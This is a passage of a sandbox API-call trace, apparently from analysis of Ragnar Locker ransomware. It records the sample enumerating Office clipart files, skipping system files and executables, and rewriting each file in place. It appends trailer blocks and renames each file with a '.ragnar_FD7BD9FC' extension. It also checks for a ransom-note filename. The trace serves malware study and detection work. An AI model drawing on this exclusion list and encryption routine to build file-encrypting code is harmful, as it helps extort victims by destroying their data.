lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.878] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.878] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.878] GetProcessHeap () returned 0x580000 [0083.878] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.878] CloseHandle (hObject=0xf4) returned 1 [0083.878] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" [0083.878] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ragnar_FD7BD9FC" [0083.878] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.879] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0083.879] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.879] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105530.WMF" | out: lpString1="J0105530.WMF") returned="J0105530.WMF" [0083.879] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned=".WMF" [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="autorun.inf") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="boot.ini") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="bootfont.bin") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="bootsect.bak") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="bootmgr") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="bootmgr.efi") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="bootmgfw.efi") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="desktop.ini") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="iconcache.db") returned 1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="ntldr") returned -1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="ntuser.dat") returned -1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="ntuser.dat.log") returned -1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="ntuser.ini") returned -1 [0083.879] lstrcmpiW (lpString1="J0105530.WMF", lpString2="thumbs.db") returned -1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.879] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0083.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.880] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7384) returned 1 [0083.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ccf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.880] GetProcessHeap () returned 0x580000 [0083.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.880] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.881] VirtualAlloc (lpAddress=0x0, dwSize=0x1cd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.882] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.882] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1cd8, lpOverlapped=0x0) returned 1 [0083.883] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.883] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.883] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1cd8, lpOverlapped=0x0) returned 1 [0083.883] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.883] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.883] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.883] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.883] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.883] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.883] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.883] GetProcessHeap () returned 0x580000 [0083.883] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.884] CloseHandle (hObject=0xf4) returned 1 [0083.884] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" [0083.884] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ragnar_FD7BD9FC" [0083.884] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.884] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0083.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.884] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105588.WMF" | out: lpString1="J0105588.WMF") returned="J0105588.WMF" [0083.884] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned=".WMF" [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="autorun.inf") returned 1 [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="boot.ini") returned 1 [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="bootfont.bin") returned 1 [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="bootsect.bak") returned 1 [0083.884] lstrcmpiW (lpString1="J0105588.WMF", lpString2="bootmgr") returned 1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="bootmgr.efi") returned 1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="bootmgfw.efi") returned 1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="desktop.ini") returned 1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="iconcache.db") returned 1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="ntldr") returned -1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="ntuser.dat") returned -1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="ntuser.dat.log") returned -1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="ntuser.ini") returned -1 [0083.885] lstrcmpiW (lpString1="J0105588.WMF", lpString2="thumbs.db") returned -1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.885] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0083.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.885] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21548) returned 1 [0083.885] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5423, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.885] GetProcessHeap () returned 0x580000 [0083.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.886] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.887] VirtualAlloc (lpAddress=0x0, dwSize=0x542c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.887] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x542c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x542c, lpOverlapped=0x0) returned 1 [0083.888] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.889] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x542c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.889] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x542c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x542c, lpOverlapped=0x0) returned 1 [0083.889] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x542c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.889] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.889] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x542c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.889] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.889] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.890] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.890] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.890] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.890] GetProcessHeap () returned 0x580000 [0083.890] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.890] CloseHandle (hObject=0xf4) returned 1 [0083.890] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" [0083.890] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ragnar_FD7BD9FC" [0083.890] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105600.WMF", cAlternateFileName="")) returned 1 [0083.891] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.891] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105600.WMF" | out: lpString1="J0105600.WMF") returned="J0105600.WMF" [0083.891] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned=".WMF" [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="autorun.inf") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="boot.ini") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="bootfont.bin") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="bootsect.bak") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="bootmgr") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="bootmgr.efi") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="bootmgfw.efi") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="desktop.ini") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="iconcache.db") returned 1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="ntldr") returned -1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="ntuser.dat") returned -1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="ntuser.dat.log") returned -1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="ntuser.ini") returned -1 [0083.891] lstrcmpiW (lpString1="J0105600.WMF", lpString2="thumbs.db") returned -1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.891] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0083.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.893] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8680) returned 1 [0083.893] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.893] GetProcessHeap () returned 0x580000 [0083.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.893] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.894] VirtualAlloc (lpAddress=0x0, dwSize=0x21e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.894] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x21e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x21e8, lpOverlapped=0x0) returned 1 [0083.895] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.896] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.896] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x21e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x21e8, lpOverlapped=0x0) returned 1 [0083.896] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.896] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x21e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.896] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.896] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.896] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.896] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.896] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.896] GetProcessHeap () returned 0x580000 [0083.896] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.896] CloseHandle (hObject=0xf4) returned 1 [0083.897] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") 